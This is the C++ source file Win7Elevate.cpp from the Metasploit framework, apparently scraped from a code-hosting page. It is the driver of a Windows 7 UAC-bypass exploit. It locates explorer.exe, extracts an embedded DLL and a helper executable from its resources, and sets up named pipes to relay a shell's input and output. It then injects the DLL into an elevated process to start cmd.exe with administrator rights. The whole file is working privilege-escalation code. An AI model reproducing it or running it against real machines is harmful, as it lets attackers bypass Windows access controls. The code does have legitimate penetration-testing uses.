metasploit-framework/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.cpp

324 lines
16 KiB
C++
Raw Normal View History

<EFBFBD><EFBFBD>#include "stdafx.h"
#include "resource.h"
#include "Win7Elevate_Utils.h"
#include "Win7Elevate_Inject.h"
#include <iostream>
#include <sstream>
#include <algorithm>
#include ".\..\Redirector.h"
#include ".\..\CMMN.h"
//
// By Pavlov P.S. (PavPS)
//
HANDLE PipeIn = NULL;
OVERLAPPED PipeInO;
HANDLE PipeOut = NULL;
OVERLAPPED PipeOutO;
HANDLE PipeErr = NULL;
OVERLAPPED PipeErrO;
//
// Initializes named pipes that will be used for connection with TIOR
//
bool SetupNamedPipe()
{
PipeInO.hEvent = CreateEvent( NULL, TRUE, FALSE, NULL );
PipeIn = CreateNamedPipe(
STDIn_PIPE,
PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE | FILE_FLAG_WRITE_THROUGH | FILE_FLAG_OVERLAPPED,
PIPE_TYPE_BYTE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
0, 0,
NMPWAIT_USE_DEFAULT_WAIT,
NULL );
ConnectNamedPipe( PipeIn, &PipeInO );
PipeOutO.hEvent = CreateEvent( NULL, TRUE, FALSE, NULL );
PipeOut = CreateNamedPipe(
STDOut_PIPE,
PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE | FILE_FLAG_WRITE_THROUGH | FILE_FLAG_OVERLAPPED,
PIPE_TYPE_BYTE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
0, 0,
NMPWAIT_USE_DEFAULT_WAIT,
NULL );
ConnectNamedPipe( PipeOut, &PipeOutO );
PipeErrO.hEvent = CreateEvent( NULL, TRUE, FALSE, NULL );
PipeErr = CreateNamedPipe(
STDErr_PIPE,
PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE | FILE_FLAG_WRITE_THROUGH | FILE_FLAG_OVERLAPPED,
PIPE_TYPE_BYTE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
0, 0,
NMPWAIT_USE_DEFAULT_WAIT,
NULL );
ConnectNamedPipe( PipeErr, &PipeErrO );
return true;
}
//
// Initiates data pumping.
//
DWORD __stdcall Redirector()
{
if ( !PipeIn )
return -1;
if ( PipeInO.hEvent )
WaitForSingleObject( PipeInO.hEvent, -1000 );
if ( PipeOutO.hEvent )
WaitForSingleObject( PipeOutO.hEvent, -1000 );
if ( PipeErrO.hEvent )
WaitForSingleObject( PipeErrO.hEvent, -1000 );
TRedirectorPair in = {0};
in.Source = GetStdHandle(STD_INPUT_HANDLE);
in.Destination = PipeIn;
in.Linux = true;
in.Name.assign(TEXT("w7e-in"));
in.Thread= CreateThread( NULL, 0, Redirector, &in, 0, NULL);
TRedirectorPair out = {0};
out.Destination = GetStdHandle(STD_OUTPUT_HANDLE);
out.Source = PipeOut;
out.Name.assign(TEXT("w7e-out"));
out.Thread= CreateThread( NULL, 0, Redirector, &out, 0, NULL);
TRedirectorPair err = {0};
err.Destination = GetStdHandle(STD_ERROR_HANDLE);
err.Source = PipeErr;
err.Name.assign(TEXT("w7e-err"));
err.Thread= CreateThread( NULL, 0, Redirector, &err, 0, NULL);
HANDLE waiters[3] = { in.Thread, out.Thread, err.Thread };
WaitForMultipleObjects( 3, waiters, FALSE, INFINITE );
return 0;
}
bool IsDefaultProcess ( std::pair<DWORD, std::wstring> pair ) {
return lstrcmpi( pair.second.c_str(), TEXT("explorer.exe") ) == 0;
}
//
// To avoid some problems with deadlocked processes we need to find way how to run program
// once more. Since program uses named papes, it can not be started twice (in current realization).
// So, if instance of this process already exists, we need to kill it. Regular exe, started from the
// user's account has no access to kill existing app.
// Here i use named event to listen for and perform suicide. So, i just need to set this event (if one)
// and already existsing app will kill itself.
//
DWORD WINAPI Suicide( LPVOID Parameter )
{
WaitForSingleObject( reinterpret_cast<HANDLE>( Parameter ), INFINITE );
SetEvent( reinterpret_cast<HANDLE>( Parameter ) );
ExitProcess( EXIT_FAILURE );
return EXIT_SUCCESS;
}
int _tmain(int argc, _TCHAR* argv[])
{
//
// Looking for suicide.
//
HANDLE obj = CreateEvent( NULL, FALSE, TRUE, TEXT("ws7Suicide") );
if ( !obj )
{
ExitProcess( EXIT_FAILURE );
}
//
// If we see that suicide event is in reset state, we just pulce one and wait for
// it's owner to die. When its done, we acuire this event object and also starting listening for
// any signals of this object.
//
do
{
DWORD rv = WaitForSingleObject( obj, 100 );
if ( rv == WAIT_OBJECT_0 ) break;
if ( rv != WAIT_TIMEOUT )
{
ExitProcess( EXIT_FAILURE );
}
PulseEvent( obj );
Sleep(1000); // wee need to wait;
}while( true );
HANDLE hSuicide = CreateThread( NULL, 0, Suicide, obj, 0, NULL );
if ( !hSuicide )
{
return EXIT_FAILURE;
}
do
{
int pass_through_index = 1;
if ( argc <= pass_through_index )
{
std::cout << "Too few arguments" << std::endl;
break;
}
DWORD pid = 0;
if ( lstrcmpi( argv[1], TEXT("--pid") ) == 0 )
{
pass_through_index = 3;
if ( argc <= pass_through_index )
{
std::cout << "Too few arguments" << std::endl;
break;
}
std::wistringstream pid_stream( argv[2] );
if ( ! ( pid_stream >> pid ) )
{
std::cout << "Invalid pid" << std::endl;
pid = 0;
}
}
if ( ! pid )
{
std::map< DWORD, std::wstring > procs;
if (!W7EUtils::GetProcessList(GetConsoleWindow(), procs))
{
std::cout << "Unable to obtain list of processes" << std::endl;
break;
}
std::map< DWORD, std::wstring >::const_iterator iter = std::find_if( procs.begin(), procs.end(), IsDefaultProcess );
if (iter == procs.end())
{
std::cout << "Unable to find default process" << std::endl;
break;
}
pid = (*iter).first;
}
TOKEN_ELEVATION_TYPE g_tet = TokenElevationTypeDefault;
if (!W7EUtils::GetElevationType(&g_tet))
{
_tprintf(_T("GetElevationType failed"));
break;
}
W7EUtils::CTempResource dllResource(NULL, IDD_EMBEDDED_DLL);
std::wstring strOurDllPath;
if (!dllResource.GetFilePath(strOurDllPath))
{
//MessageBox(GetConsoleWindow(), L"Error extracting dll resource.", L"W7Elevate", MB_OK | MB_ICONERROR);
break;
}
//
// Extraction TIOR.exe from resources and saves exe in the folder where current application
// exists.
//
W7EUtils::CTempResource TIORResource(NULL, IDD_EMBEDDED_TIOR);
std::wstring strOurTIORPath;
std::wstring tior;
bool tior_succeed = false;
if (TIORResource.GetFilePath(strOurTIORPath))
{
TCHAR me_buff[MAX_PATH];
DWORD me_count = GetModuleFileName( NULL, me_buff, MAX_PATH );
if ( me_count )
{
TCHAR *me_tail = me_buff + me_count - 1;
for( ; me_tail > me_buff; me_tail-- )
if ( *me_tail == '\\' )
{
me_tail++;
*me_tail = 0;
break;
}
tior.assign(me_buff);
tior.append( TEXT("tior.exe") );
if ( CopyFile( strOurTIORPath.c_str(), tior.c_str(), FALSE ) )
{
tior_succeed = true;
}
}
}
if ( tior_succeed )
{
tior_succeed = false;
CInterprocessStorage *tior_storage = CInterprocessStorage::Create( TEXT("w7e_TIORPath") );
if ( tior_storage )
{
tior_storage->SetString( tior );
tior_succeed = true;
}
}
if ( !tior_succeed )
{
//MessageBox(GetConsoleWindow(), L"Error extracting tior resource.", L"W7Elevate", MB_OK | MB_ICONERROR);
break;
}
std::wstring args;
for ( int i = pass_through_index; i < argc; i++ )
{
bool q = wcsstr(argv[i], TEXT(" ")) || wcsstr(argv[i], TEXT("\t"));
if ( q ) args.append( TEXT("\"") );
args.append( argv[i] );
if ( q ) args.append( TEXT("\"") );
args.append( TEXT(" ") );
}
if ( !SetupNamedPipe() )
std::cout << "Unable to setup named pipe" << std::endl;
//
// Preparing shared variables to be used by TIOR that is going to start after we will inject
// and load dll into elevated process.
//
CInterprocessStorage::Create( TEXT("w7e_TIORShell"), std::wstring(TEXT("cmd.exe")) );
CInterprocessStorage::Create( TEXT("w7e_TIORArgs"), args );
CInterprocessStorage::Create( TEXT("w7e_TIORDir"), std::wstring(TEXT("C:\\Windows\\System32")) );
W7EInject::AttemptOperation(
GetConsoleWindow(),
true,
true,
pid,
TEXT("n/a"),
argv[pass_through_index],
args.c_str(),
TEXT("C:\\Windows\\System32"),
strOurDllPath.c_str(),
Redirector);
return EXIT_SUCCESS;
}while(false);
return EXIT_FAILURE;
}